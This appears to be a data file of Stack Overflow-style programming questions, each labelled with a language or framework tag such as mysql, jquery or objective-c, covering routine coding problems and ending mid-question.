mysql find the most recent of each id  my first post...    i have a news story table where users flag stories  in priority 1 2 3 4 for displaying on the website home page.     the problem is that as they add stories the old ones get pushed down onto page two  three etc  in the cms. they then flag a new  1    2  etc  without clearing the old 1s  2s etc - which remain in the data  just in case the new number 1  gets  demoted  (the flag removed) or deleted.    what i want to get out is the newsid and headline  of most recent of each number  1    2    3  and  4 .     i have found some similar posts  but its not the timestamp that s important its the flag field (called  xorder ). the relevant fields in the  newsstories  table are below:   <pre><code>newsid      int headline    varchar(60) xorder      int (number or null) xtimestamp  datetime - this is the publish date </code></pre>   in this scenario the xtimestamp field is important as its the date/time they want the news story to appear (the publish date) rather than a timestamp field  which would be updated by mysql. we don t want to show stories where the published date/time is greater than the current system timestamp (allows stories to be embargoed) we generate the query when the web page loads  so our criteria reads something like:   <pre><code>where xorder is not null and xorder &gt; 0 and xtimestamp &lt;= 201604271800 (for 6pm today) </code></pre>   (this is slightly simplified as there are other criteria).    i am sorting by xtimestamp desc and xorder asc  and just getting the first 4 records found  but this is not giving them in the correct xorder.     hope this makes sense  any help appreciated.,mysql
java return in the if statement  how to use the <code>return</code> to retrieve a value out of an <code>if</code> statement  i don t want to return immediately  just like that:   <pre><code>if(){ return  something ; } </code></pre>   this isn t working for me  because if the <code>return</code> is successful the method returns  but i need to return it and when the return is complete to continue the actions in the method.,java
asp.net crosspage postback on click doesn t run  i am trying to get a crosspage postback to work in asp.net 2.0 the issue i seem to be having is the button that i press is meant to use it s on click event to store some session variables based on the values of other controls. this button has crosspage postback property to the relevant page.    the on click event seems to not run at all  it just seems to perform the postback to the other page straight away.    is this standard behavior  any work around,asp.net
adding rows to nstableview without waiting for method to complete  i have a small problem. maybe someone can help.     i have a routine that adds rows to an nsviewtable. after each addobject i issue a reloaddata as i d like the rows to show one by one as they are added  but  what i get  is a pause and then all the rows appearing altogether at once. there is a little bit of processing involved  and getting the rows to show one by one as sub-processing completes would make a nice progress indicator.     would anyone know if there is a way to get the rows to show one by one as they get added rather than a pause and then all the rows appearing at once        plenty of thanks,objective-c
python: replace function not working <pre><code>punctuation =    ! #$%&amp; ()*+ -./:;&lt;=&gt; @[\]^_`{|}~     white_space =   \t\n\r\v\f   extraneous  = punctuation + white_space  str = [ hello!!!    h%i ] l = [] for s in str:     for x in extraneous:         sd = s.replace(x   )     l.append(sd) print(l) </code></pre>   hi! my python code is not working for some reason. i m trying to get rid of any punctuation mark and white space.,python
how can i avoid one word on the last line with css   suppose a text shows up as follows on an html page (just one word too long to fit on one line):   <pre><code>lorem ipsum dolores amet foo bar </code></pre>   how can one avoid with css that the last word appears on the last line  and force two (or more)    <pre><code>lorem ipsum dolores amet foo bar </code></pre>,css
generating row no from sorted by date table  i m trying to sort table by logintime (desc) and generate the row numbers. my mysql query shows different results on my localhost (which i want) and hosting (not properly sorted):   <pre><code>select     @currow := @currow + 1 as  rowno   sortedtable.* from     (select @currow := 0) indextable join     (select logins.logintime         from logins order by logins.logintime desc     ) sortedtable </code></pre>   result from localhost:    <a href= https://i.stack.imgur.com/rlcy9.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/rlcy9.png  alt= result from localhost ></a>    result from hosting:    <a href= https://i.stack.imgur.com/ykrax.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ykrax.png  alt= enter image description here ></a>    both logintime columns already have the same column type   datetime . why on hosting not properly sorted by logintime (desc)     <strong>edit: turned out that mysql version is 5.5</strong>     since 5.7 it ignores order by in derived tables.   <blockquote>    order by in derived table or view        order by in the subquery/view is handled differently in 5.7 compared   to 5.6: it is ignored unless the outer query is non-aggregated and   contains only one table reference (i.e the reference to this derived   table or view). it is also ignored if the outer query itself contains   an order by clause.  </blockquote>,mysql
linear-acceleration on ios how do i get same data as from android type_linear_acceleration   i have a question. well i made an application for android device. which returning me values of       <pre><code> sensormanager sensormanager;  sensor sensor;  sensormanager = (sensormanager) getsystemservice(sensor_service);  sensor = sensormanager.getdefaultsensor(sensor.type_linear_acceleration);  sensormanager.registerlistener(this  sensor  sensormanager.sensor_delay_normal);with   public void onsensorchanged(sensorevent event) {         xaxis   = event.values[0];         zaxis   = event.values[2];     } </code></pre>   well i want to learn a bit about ios and make this program for ios system also. how can i do this lines for ios   i search a bit  but didn t really find something usefull.,ios
what is std::vector<int> initialised to  <pre><code>std::vector&lt;int&gt; foo(5);  // creates 5-element int vector </code></pre>   what is the value (or that is the values) of foo  i understand that it creates a 5-element character vector  but what is the value of each  is it zero or undefined,c++
is value  in  some other values  in objective-c  coming from an extremely spoiled family upbringing (turbo pascal  python  ruby) i m a bit puzzled when it comes to doing all the household chores myself.     yesterday was one of these days where i just did not find myself a solution. i had to check whether a value matches one of some other values.   <pre><code> x = some_function_return_value();  if x in (1 4 17 29 35): </code></pre>   that s how i used to write it. now with objective-c i obviously can t do that. and i searched the  old google  but found no answer  and the old manual  and nothing there  so how do you do this in objective-c  without doing something cranky like the following    <pre><code> if (x == 1 || x == 4 || x == 17 || x == ...) { </code></pre>   <strong>edited</strong>: in this case it is an (int)  i know for nsarray and nsstring there are methods for this,objective-c
jquery checking to see if element has element  i m using jquery 1.3 and is trying to duplicate the 1.4 .has functionality.    i need to check if the .page element contains the image  and if it doesn t  append it.    is it something like:   <pre><code>var imageid = thirdimage;  if ($( #page:has(# +imageid+ ) ) === undefined) {    $( #page ).append($( # +imageid)); } </code></pre>   thanks.,jquery
the variable needs an initializer c++   how do i initialize convert.gram  whenever i define  gram  in the class decleration the program responds appropriatly. im trying to put gram in the constructor but its not working. also am i structuring everything right  thanks for the help!    <strong>code:</strong>   <pre><code>#include &lt;stdio.h&gt; #include &lt;string.h&gt; #include &lt;iostream&gt; #include &lt;stdlib.h&gt; #include &lt;windows.h&gt; #include  math.h   using namespace std;  struct grams{     grams();     float converter(float pounds);      float gram;     float pounds;     float answer;     };      float grams::converter(float pounds){     answer = pounds * gram;     return answer;     }      grams::grams(){     float convert.gram = 453.592;     }  int main(){     float ptc;     grams convert;      cout&lt;&lt; pound to gram converter \n ;     cout&lt;&lt; how many pounds do you want to convert  \n ;      cin&gt;&gt;ptc;      float converter = convert.converter(ptc);      cout&lt;&lt; answer =  &lt;&lt;converter&lt;&lt;endl;  return 0; } </code></pre>   <strong>error:</strong>   <pre><code>c:/users/lisa/desktop/codelight c++/time_of_for_loop/for_loop_time/for_loop_time/main.cpp:31:13: error: expected initializer before  .  token </code></pre>,c++
how to prevent form s action to occur in asp.net  i have a form with action= xyz.aspx:type=new  and some input textboxes and 2 buttons: submit and preview. the submit button updates the database with textbox values and preview button carries the form textbox values to page  xyz.aspx type=preview  . the problem is that the functiobalities are achieved but after clicking preview button  the form s action url gets into action and causes an update in the database which is not wanted. so how do i prevent this from happening  any help is appreciated.,asp.net
given (id <mydelegate>)delegate  can you tell what kind of class delegate is   when passing a delegate to myclass like this     <pre><code>- (myclass *)initwithdelegate:(id &lt;mydelegate&gt;)delegate {..} </code></pre>   is it somehow possible to tell what kind of class my delegate is  being defined as id  delegate doesn t seem to respond to any method calls like class  description  respondstoselector etc.    i d like to be able to track who is calling myclass!    thanks in advance!    /christian,objective-c
parsing json with / character in angularjs  i have problem in displaying  /home/local  which is there in following json    <pre><code> parameter :{ name : localdir   default_value : /home/local   type : string } </code></pre>   i need to parse and display in text box using angularjs   <pre><code> &lt;input type =  text  value=   +   jsondata[ default_value ] +      name= htmlcomponent  ng-model= htmlcomponent  ng-init= htmlcomponent=  +   jsondata[ default_value ] +      class= htmlcomponent  /&gt;  </code></pre>   when i tried to do this  am getting following error:   <blockquote>    error: [$parse:syntax] syntax error: token  home  is an unexpected   token at column 16 of the expression [htmlcomponent=/home/local]   starting at [home/local].  </blockquote>,angularjs
rotation transformation for uitextfield  but text is displaced  i am trying to rotate uitextfield at 90 angle.it is rotationg perfectly..but text inside the uitextfield  is displaced.i am unable to find out the reason behind it.,objective-c
why manual memory management   are there any plans for auto memory management     what are the advantanges of manually managing memory...does it conserve memory in the long run     i have noticed in .net windows applications - they are very sluggish - is this partly due to the garbage collector not working correctly,objective-c
how to break $.each iteration inside onload ( image ) function  i have the following code :   <pre><code>$.each(images  function (intvalue  currentelement) {         $( #image ).on( load   function () {         if (($( #image ).width() &lt; 50) || ($( #image ).height() &lt; 50)) {             // do something         } else {             // do something             return false; // not working !!!         }         }).attr( src   currentelement).hide()       .each(function () {             if ($(this).complete) $(this).trigger( load );       });     }); </code></pre>   i want to break out the <em>each iteration</em> inside else statement  so i add <code>return false</code>  but it doesn t works  i think because of <code>.on( load   function()....</code>,jquery
how to keep the uiactivityindicator  floating  above the uitable   i have a problem with the indicator  my intention is to show  waiting  indicator floating above the uitable when use clicked one of the uitable row  and during the waiting that user still be able to scroll down the table.    but the problem is  when i scrolling the table down  the indicator is moving too! can anyone help on this,objective-c
extract ips from multiple subnets in a text file  i m able to extract ips from subnet  when i give single subnet. but when i give multiple ips in text file (for ex: 10subnets)  i can t get ips.    trying with below python code  but gives me error.   <pre><code>from netaddr import ipnetwork  with open( subnet.txt   r ) as f:      with open( ips.txt   w ) as f1:       for line in f.readlines():          for ip in ipnetwork(line):               a =  %s  % ip             f1.write(a +  \n ) </code></pre>,python
stop code execution after calling uialertview  how can i stop code execution after showing uialertview until user pressed on the ok button  if that s a problem  what are the workarounds,iphone
iphone: how to download a raw .config file via program   i am trying to download a xyz.config file which is created using iphone configuration utlity  via code.    <pre><code>nsstring *urlstring = @ http://xxxxx:xxx/ms/servlet/configserver userid=xxx&amp;pwd=xxx&amp;emailid=xxxxx ;  nsurlrequest *therequest=[nsurlrequest requestwithurl:[nsurl urlwithstring:urlstring]                                           cachepolicy:nsurlrequestuseprotocolcachepolicy                                       timeoutinterval:60.0]; nsurlconnection *theconnection=[[nsurlconnection alloc] initwithrequest:therequest delegate:self]; if (theconnection) {     receiveddata = [[nsmutabledata data] retain]; } else {     // inform the user that the connection failed. } </code></pre>   then  didreceivedata  didreceiveresponse are written. finally    <pre><code>- (void)connectiondidfinishloading:(nsurlconnection *)connection </code></pre>   {    nslog(@ succeeded! received %d bytes of data  [receiveddata length]);   <pre><code>nsstring *responsestring = [[nsstring alloc] initwithdata:receiveddata encoding:nsutf8stringencoding];  nslog(@ response :  %@   responsestring );  // release the connection  and the data object [receiveddata release]; [connection release]; </code></pre>   }    with the above code  i m getting response as string of the complete configuration file. but my aim to download this file as raw data  which will automatically launch device profile to ask for installing this profile.  note: i am able to provide the same url in safari browser on the device  and download the  raw file directly to install it on the device. i don t want to use safari browser to download it  it should be done via my communication code.    i also tried with asihttprequest like below  but unable to download that file directly from the url via this code as well.   <pre><code>asihttprequest *request = [asihttprequest requestwithurl:url]; [request setrequestmethod:@ get ]; [request startsynchronous]; </code></pre>   please help!    thank you.,iphone
how to push item in array in document.ready and onsucess of button click using jquery <pre><code>var selectedanswer; var qestionarray = []; var ansewrarray = [];  $(document).ready(function() {   qestionarray.push(@question.id)    selectedanswer = ($( :radio[name= dummy ]:checked ).val());    $( :radio[name= dummy ] ).on( click   function() {     selectedanswer = ($( :radio[name= dummy ]:checked ).val());   });     $( #nextbtn ).click(function() {      $.ajax({       url:  /user/getnextquestion         type:  post         data: {         id: @question.id       }        success: function(data) {         $( #loadquestion ).html(data);         qestionarray.push(@question.id);/* not getting id of first question while loaded  else other ids i am getting*/         ansewrarray.push(selectedanswer);         if ($( #finish ).click(function() {           $.ajax({             url:  /user/checkresult               type:  post               data: {               ans: ansewrarray                quest: qestionarray             }              success: function(data) {}            });          }));        }        error: function() {         alert( error )        }     });   }); }); </code></pre>   hello i need to add items on success of next button click..its working fine but the first items loaded on document.ready are not coming...    please need help.... hello i need to add items on success of next button click..its working fine but the first items loaded on document.ready are not coming...    please need help....,jquery
comparing .net instances in native code via gchandle.tointptr()  when i use <code>gchandle.alloc(o)</code> and <code>gchandle.tointptr()</code>  i get a fixed address to a .net object that can be used to deference later from native code. this is fine and dandy.    however  at a later point in time  this same object could be sent to native again. i have no notion of any previously allocated <code>gchandle</code> types  and must allocate it again. this is fine as well.    the problem is that i need to keep track of unique instances in native code. i can t compare the <code>system.intptr</code> returned from <code>gchandle</code> s that were created  because they are different (not surprised).    is there some way in native code for me to compare two <code>void*</code> types that were each <code>gchandle.alloc</code> d independently,.net
can items be grouped in interface builder  i want to be able to see if i can group certain items together in ib  however i am not sure this is possible  any advice,iphone
function breaks with generated buttons  i m building a jquery function that allows users to add additional fields to a form. the form has four buttons  for different donation values. when you click on one  it generates the appropriate form fields  and adds an option for an additional donation.     for some reason  the additional donation buttons don t work. the code for the buttons is exactly the same  so this makes no sense to me.     here s the html:   <pre><code>&lt;h6&gt;donation information&lt;/h6&gt; &lt;p&gt;     &lt;a class= button  data-value= 500  href= #  style= margin-right:2px; &gt;5  &amp;ndash; $500&lt;/a&gt;     &lt;a class= button  data-value= 250  href= #  style= margin-right:2px; &gt;4  &amp;ndash; $250&lt;/a&gt;     &lt;a class= button  data-value= 100  href= #   style= margin-right:2px; &gt;3  &amp;ndash; $100&lt;/a&gt;     &lt;a class= button  data-value= 50  href= #  style= padding-right:13px; &gt;2.5  &amp;ndash; $50&lt;/a&gt; &lt;/p&gt; &lt;div id= donationtarget &gt;&lt;/div&gt; </code></pre>   and here s the jquery:   <pre><code>$( .button ).click(function(e) {     e.preventdefault();     if ($(this).hasclass( clicked )) {         // do nothing     } else if ($(this).hasclass( disabled )) {         // do nothing     } else {         $(this).addclass( clicked );         $( .button:not(.clicked) ).addclass( disabled );         var counter = $( .donation ).length;         var amount = $(this).attr( data-value );         if (amount == 500) {             var size = 5;         } else if (amount == 250) {             var size = 4;         } else if (amount == 100) {             var size = 3;         } else if (amount == 50) {             var size = 2.5;         }         $( #donationtarget ).before( &lt;div class=\ donation\ &gt;&lt;input maxlength=\ 60\  name=\ inscription  + counter +  \  placeholder=\ inscription (60 character maximum)\  type=\ text\  /&gt;&lt;p&gt;&lt;strong&gt;color preference (subject to availability):&lt;/strong&gt;&lt;/p&gt;&lt;div class=\ half\ &gt;&lt;input id=\ color-blue  + counter +  \  type=\ radio\  name=\ color  + counter +  \  /&gt;&lt;label for=\ color-blue  + counter +  \ &gt;blue&lt;/label&gt;&lt;div style=\ clear:both;\ &gt;&lt;/div&gt;&lt;input id=\ color-orange  + counter +  \  type=\ radio\  name=\ color  + counter +  \  /&gt;&lt;label for=\ color-orange  + counter +  \ &gt;orange&lt;/label&gt;&lt;div style=\ clear:both;\ &gt;&lt;/div&gt;&lt;input id=\ color-red  + counter +  \  type=\ radio\  name=\ color  + counter +  \  /&gt;&lt;label for=\ color-red  + counter +  \ &gt;red&lt;/label&gt;&lt;div style=\ clear:both;\ &gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/.half--&gt;&lt;div class=\ half\ &gt;&lt;input id=\ color-yellow  + counter +  \  type=\ radio\  name=\ color  + counter +  \  /&gt;&lt;label for=\ color-yellow  + counter +  \ &gt;yellow&lt;/label&gt;&lt;div style=\ clear:both;\ &gt;&lt;/div&gt;&lt;input id=\ color-green  + counter +  \  type=\ radio\  name=\ color  + counter +  \  /&gt;&lt;label for=\ color-green  + counter +  \ &gt;green&lt;/label&gt;&lt;div style=\ clear:both;\ &gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/.half--&gt;&lt;div style=\ clear:both;\ &gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;h6&gt;additional donation&lt;/h6&gt;&lt;p&gt;&lt;a class=\ button\  data-value=\ 500\  href=\ #\  style=\ margin-right:2px;\ &gt;5\  &amp;ndash; $500&lt;/a&gt;&lt;a class=\ button\  data-value=\ 250\  href=\ #\  style=\ margin-right:2px;\ &gt;4\  &amp;ndash; $250&lt;/a&gt;&lt;a class=\ button\  data-value=\ 100\  href=\ #\   style=\ margin-right:2px;\ &gt;3\  &amp;ndash; $100&lt;/a&gt;&lt;a class=\ button\  data-value=\ 50\  href=\ #\  style=\ padding-right:13px;\ &gt;2.5\  &amp;ndash; $50&lt;/a&gt;&lt;/p&gt; );     } }); </code></pre>   also  is there a way to clean up the super long line of jquery towards the end of the function  i can t figure out how to keep the html on multiple lines without breaking the script.    thanks.    jsfiddle: <a href= http://jsfiddle.net/aptwt/2/  rel= nofollow >http://jsfiddle.net/aptwt/2/</a>,jquery
how not to pass a specific form field   i m writing a landing page to test a business idea. for testing purpose  i want to write a credit card number field  to see if the customer is actually ready to buy the product.    as it is only a test  i don t want this value to be submitted. actually for security purposes i don t even want this value to be sent in the request.    is a separate form enough    <pre><code>&lt;form&gt; sensitive info&lt;/form&gt;  &lt;form&gt;info i want &lt;input type= submit &gt; &lt;/form&gt; </code></pre>,html
sql order by query is not working correctly  the sql select query is shown below. it s working  but the first row it is returning is wrong. expected result is also shown below.    why does this happen  can you solve this problem     <pre><code>select pid  pname  pcost from product join subcategory on product.subcate_id = subcategory.subcate_id join category on subcategory.cate_id = category.cate_id where category.cate_id = 1 order by pcost </code></pre>   the result set is    <pre><code>pid         pname           pcost ----------- --------        -------------- 16          hp-dreamscreen  23232 25          imac-pc-parts   234 35          imac            2349 9           apple_cinema_   30000 14          hp-bu178aa      30000 15          lenovo-c200     32111 17          imac            345345  (7 row(s) affected) </code></pre>   you can see the problem in result set in the 1st row - it should appear at after imac (3rd row) as defined by the <code>order(pcost)</code>,sql
problem with the dateformatter s in iphone sdk  here i had a problem with the date formatters actually i had an option to search events based on the date.for this im comparing the date with the date store in the database and getting the event based on the date for this i wrote the code as follows:   <pre><code>-(nsmutablearray*)getsearchalllists:(eventslist*)aevent { [searchlist removeallobjects]; eventslist *searchevent = nil; const char* sql; nsstring *conditionstr = @  where  ; if([aevent.eventname length] &gt; 0) {     nsstring *str = @  % ;     str = [str stringbyappendingstring:aevent.eventname];     str = [str stringbyappendingstring:@ %  ];     conditionstr = [conditionstr stringbyappendingstring:[nsstring stringwithformat:@  eventname like %s  [str utf8string]]]; } if([aevent.eventwinename length]&gt;0) {     nsstring *str = @  % ;     str = [str stringbyappendingstring:aevent.eventwinename];     str = [str stringbyappendingstring:@ %  ];     if([aevent.eventname length]&gt;0)     {         conditionstr = [conditionstr stringbyappendingstring:[nsstring stringwithformat:@  and (winename like %s)  [str utf8string]]];     }     else     {         conditionstr = [conditionstr stringbyappendingstring:[nsstring stringwithformat:@ winename like %s  [str utf8string]]];     } } if([aevent.eventvariety length]&gt;0) {     nsstring *str = @  % ;     str = [str stringbyappendingstring:aevent.eventvariety];     str = [str stringbyappendingstring:@ %  ];     if([aevent.eventname length]&gt;0 || [aevent.eventwinename length]&gt;0)     {         conditionstr = [conditionstr stringbyappendingstring:[nsstring stringwithformat:@  and (variety like %s)  [str utf8string]]];     }     else     {         conditionstr = [conditionstr stringbyappendingstring:[nsstring stringwithformat:@ variety like %s   [str utf8string]]];     } } if([aevent.eventwinery length]&gt;0) {     nsstring *str = @  % ;     str = [str stringbyappendingstring:aevent.eventwinery];     str = [str stringbyappendingstring:@ %  ];     if([aevent.eventname length]&gt;0 || [aevent.eventwinename length]&gt;0 || [aevent.eventvariety length]&gt;0)     {         conditionstr = [conditionstr stringbyappendingstring:[nsstring stringwithformat:@  and (winery like %s)  [str utf8string]]];     }     else     {         conditionstr = [conditionstr stringbyappendingstring:[nsstring stringwithformat:@ winery like %s   [str utf8string]]];     } } if(aevent.eventratings &gt;0) {     if([aevent.eventname length]&gt;0 || [aevent.eventwinename length]&gt;0 || [aevent.eventwinery length]&gt;0 || [aevent.eventvariety length]&gt;0)     {         conditionstr = [conditionstr stringbyappendingstring:[nsstring stringwithformat:@  and ratings = %d  aevent.eventratings]];     }     else     {         conditionstr = [conditionstr stringbyappendingstring:[nsstring stringwithformat:@  ratings = %d  aevent.eventratings]];     } } if(aevent.eventdate &gt;0) {     nsdateformatter *dateformatter = [[nsdateformatter alloc]init];     [dateformatter setdateformat:@ dd-mmm-yy 23:59:59 ];     nsstring *datestr = [dateformatter stringfromdate:aevent.eventdate];      nsdate *date = [dateformatter datefromstring:datestr];     [dateformatter release];     nstimeinterval interval = [date timeintervalsincereferencedate];     printf( \n interval in advance search:%f  interval);     if([aevent.eventname length]&gt;0 || [aevent.eventwinename length]&gt;0 || [aevent.eventwinery length]&gt;0 || aevent.eventratings&gt;0 || [aevent.eventvariety length]&gt;0)     {         conditionstr = [conditionstr stringbyappendingstring:[nsstring stringwithformat:@  and eventdate = %f  interval]];     }     else     {                    conditionstr = [conditionstr stringbyappendingstring:[nsstring stringwithformat:@  eventdate = %f  interval]];     } }  nsstring* querystring= @  select * from event ; querystring = [querystring stringbyappendingstring:conditionstr]; sqlite3_stmt* statement; sql = (char*)[querystring utf8string]; if (sqlite3_prepare_v2(database  sql  -1  &amp;statement  null) != sqlite_ok) {     nsassert1(0  @ error: failed to prepare statement with message  %s .   sqlite3_errmsg(database)); } sqlite3_bind_text(statement  1  [aevent.eventname utf8string]   -1  sqlite_transient); sqlite3_bind_text(statement  2  [aevent.eventwinename utf8string]   -1  sqlite_transient); sqlite3_bind_text(statement  3  [aevent.eventvariety utf8string]   -1  sqlite_transient); sqlite3_bind_text(statement  4  [aevent.eventwinery utf8string]   -1  sqlite_transient); sqlite3_bind_int(statement  5 aevent.eventratings); sqlite3_bind_double(statement 6  [[aevent eventdate]  timeintervalsincereferencedate]); while (sqlite3_step(statement) == sqlite_row)  {     primarykey = sqlite3_column_int(statement  0);           searchevent = [[eventslist alloc] initwithprimarykey:primarykey database:database];     [searchlist addobject:searchevent];     [searchevent release]; } sqlite3_finalize(statement); return searchlist; } </code></pre>   here i compared the interval value in the database and the date we are searching and im getting the different values and results were not found.    guy s help me to get rid of this.    anyone s help will be much appreciated.    thank you monish calapatapu.,objective-c
add event on google calendar with .net - c#  i m trying to add an event with google calendar api  this is the code that i m using:   <pre><code>public void insertentry() {     evententry entry = new evententry();      entry.title.text =  test ;     entry.content.content =  content test ;      where location = new where();     location.valuestring =  location ;     entry.locations.add(location);      when time = new when(datetime.now  datetime.now.adddays(2));     entry.times.add(time);      uri calendaruri = new uri( https://www.google.com/calendar/feeds/calender_id/public/basic );      atomentry insertedentry = service.insert(calendaruri entry); } </code></pre>   i m getting this error: <em> additional information: execution of authentication request returned unexpected result: 404 </em>    anyone knows how to solve this,.net
getting sprockets error when using jekyll-assets  i followed a tutorial here to add jekyll to my rails app:    <a href= http://www.sitepoint.com/jekyll-rails/  rel= nofollow >http://www.sitepoint.com/jekyll-rails/</a>    everything was working great until i attempted to link sprockets up with the jekyll assets. the sprockets asset pipeline actually seems to be working for the blog part of my site (localhost.com/blog) when now when i got to simply <a href= http://localhost.com  rel= nofollow >http://localhost.com</a> i get the following error:    actionview::template::error (undefined method `jekyll  for #):    this started when i followed the sprockets portion of the tutorial which went like this:   <pre><code>add gem  jekyll-assets  </code></pre>   alter config/jekyll.yml to contain :   <pre><code>plugins:   - jekyll-assets assets:     dirname: assets # _assets     baseurl: /blog/assets/     sources: # asset subdirectories         - _assets/stylesheets         - _assets/javascripts         - _assets/images     cachebust: hard     js_compressor: uglifier # included by rails     css_compressor: sass # included by rails </code></pre>   move blog assets around:   <pre><code>$ cd blog $ mkdir _assets $ mkdir _assets/stylesheets $ mkdir _assets/javascripts $ mkdir _assets/images  # move around assets $ mv _sass/* _assets/stylesheets/ &amp;&amp; rmdir _sass $ mv css/* _assets/stylesheets/ &amp;&amp; rmdir css </code></pre>   add to _includes/head.html:   <pre><code>{% stylesheet main %} </code></pre>   anyone know what could be the cause of the error: actionview::template::error (undefined method `jekyll  for #):     it s occurring when processing &lt;%= stylesheet_link_tag  application   media:  all    data-turbolinks-track  => true %> in my application.html.erb file.,ruby-on-rails
does any standard python3 object have a get method that doesn t have positional arguments   i am trying to figure out how to use a barely documented feature of a poorly documented api. i have distilled the chunk of code that is giving me trouble down to this for simplicity:   <pre><code>def build_custom_args(args):     custom_args = {}         for key in args:             custom_args.update(key.get())         print(custom_args) </code></pre>   i can tell from the function that constructs <code>args</code> that it is a list. problem is  a list of <em>what </em> no matter what i put in the list  key.get() raises one exception of another.    for example  if i execute that code like so: <code>build_custom_args([ foo ])</code> then i get an understandable error message: <code>attributeerror:  str  object has no attribute  get </code>.    or  try a dictionary: <code>build_custom_args([{ foo :  bar }])</code>  but the error is raised: <code>typeerror: get expected at least 1 arguments  got 0</code>.    as best i can tell <code>args</code> is a list of some standard python objects - there is no indication that these are special objects with a custom <code>get()</code> method.    am i missing something obvious  is there some standard python object that has a <code>get()</code> method which takes no positional arguments  is this a syntax of some older version of python  or have i found a bug in the api     <strong>edit</strong> the accepted answer shows that i was mistaken believing that <code>args</code> had to be a python built-in.    jack s answer is worth a look because it actually does solve the problem  what python built-in could <code>args</code> be that would cause this function to not throw an error,python
use null propagation in if/else  <a href= https://i.stack.imgur.com/i3uks.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/i3uks.png  alt= enter image description here ></a>    what does this resharper suggestion mean by this  i want to return null if grid is null. the variable  grid  is a iwebelement type from selenium framework,.net
clear content in textbox onclick of image  can anyone help here for clearing the contents in textbox. i have tried to clear the contents in text box on click of an image using javascript   <pre><code>&lt;input name= newkey  id= newkey  type= text  value= helo  size= 38  maxlength= 45 /&gt; &lt;span class= btnclr  id= clear  onclick=clearthis( newkey &gt;&lt;/span&gt;   function clearthis(target){     target.value=   ; } </code></pre>,javascript
what is a protocol   i ve read the documentation but i m still confused. can someone please explain what a protocol is  (you could give code examples but i m really looking for an explanation),objective-c
a simple code  what is result of return   i am a new programmer  i don t know what is the result of this return  i comment it. is that true that there is {} follow by if()  thank you   <pre><code>  public void blow(int amount)   {      if (this.popped)          return;                                          //what is this  true or false      this.radius += amount;      if (this.radius &lt;= this.maxradius)           return;                                         // what is this       this.radius = 0;      this.popped = true;  } </code></pre>,java
.net: need samples written by .net in various aspects of programming like ado.net  web service  user control  ect  hi  i was wondering if there be a complete collection of .net code samples with covers various aspects of programming like ado.net  web service  user control      actualy  what i want is some thing like this:    problem: how can we do ......     solution: ..............           ..............,.net
quincy kit remote symbolication  i have implemented the server setup (remote symbolication)based on the documentation provided at <a href= http://quincykit.net/  rel= nofollow >http://quincykit.net/</a>. i downloaded a sample crash report(actual crash report) and tried executing symbolicatecrash crashfilename.crash  but the result i get is the same crash report which is not symbolized.    i have pasted the required .app.dsym and .app files to the local folder containing the scripts also have run chmod +x symbolicatecrash.pl,ios
how to represent a 2d data into a table  i have data which is represented as column names  row names and values for a row/column pair. it looks like this:   <pre><code>cols = [ a    b    c    d ]; rows = [ 1    2    3    4 ]; data = [     {row:  1   col: a   value:  a }      {row:  2   col: c   value:  b }      {row:  3   col: b   value:  c } ]; </code></pre>   how do i make this appear in table like this  i am using angular 1.4.   <pre><code>   a  b  c  d 1  a 2        b 3     c 4 </code></pre>   my data size is limited  don t expect it  to be more than 50-100 entries in data.,angularjs
javascript count down to show days   i have this javascript countdown that will show seconds. i need to know how i can show days in the counter instead of second.    i.e. 1 day  2 hours left.    this is the code:   <pre><code>    &lt;script type= text/javascript &gt; var max_counter = 1000; var counter = null; var counter_interval = null;  function setcookie(name value days) {     var expires;     if (days) {         var date = new date();         date.settime(date.gettime()+(days*24*60*60*1000));         expires =  ; expires= +date.togmtstring();     }     else {         expires =   ;     }     document.cookie = name+ = +value+expires+ ; path=/ ; }  function getcookie(name) {     var nameeq = name +  = ;     var ca = document.cookie.split( ; );     for(var i=0;i &lt; ca.length;i++) {         var c = ca[i];         while (c.charat(0) ==    ) {             c = c.substring(1 c.length);         }         if (c.indexof(nameeq) === 0) {             return c.substring(nameeq.length c.length);         }     }     return null; }  function deletecookie(name) {     setcookie(name    -1); }  function resetcounter() {     counter = max_counter; }  function stopcounter() {     window.clearinterval(counter_interval);     deletecookie( counter ); }  function updatecounter() {     var msg =   ;     if (counter &gt; 0) {         counter -= 1;         msg = counter;         setcookie( counter   counter  1);     }     else {         counter = max_counter;      }     var el = document.getelementbyid( counter );     if (el) {         el.innerhtml = msg;     } }  function startcounter() {     stopcounter();     counter_interval = window.setinterval(updatecounter  1000); }  function init() {     counter = getcookie( counter );     if (!counter) {         resetcounter();     }     startcounter(); }  init(); &lt;/script&gt; </code></pre>   at the moment it only shows seconds and it will restart itself once it hits 0.,javascript
why isn t <body> expanding to fit its contents   i have a table that extends off the edge of the screen  but the body only gets as wide as the screen  causing the table to overflow it.    demo: <a href= http://jsfiddle.net/6rekj/ >http://jsfiddle.net/6rekj/</a>   <pre><code>&lt;html&gt;     &lt;head&gt;         &lt;style&gt;             table { background-color: lime; }             body { border: 2px solid blue; }         &lt;/style&gt;     &lt;/head&gt;     &lt;body&gt;         &lt;table&gt;             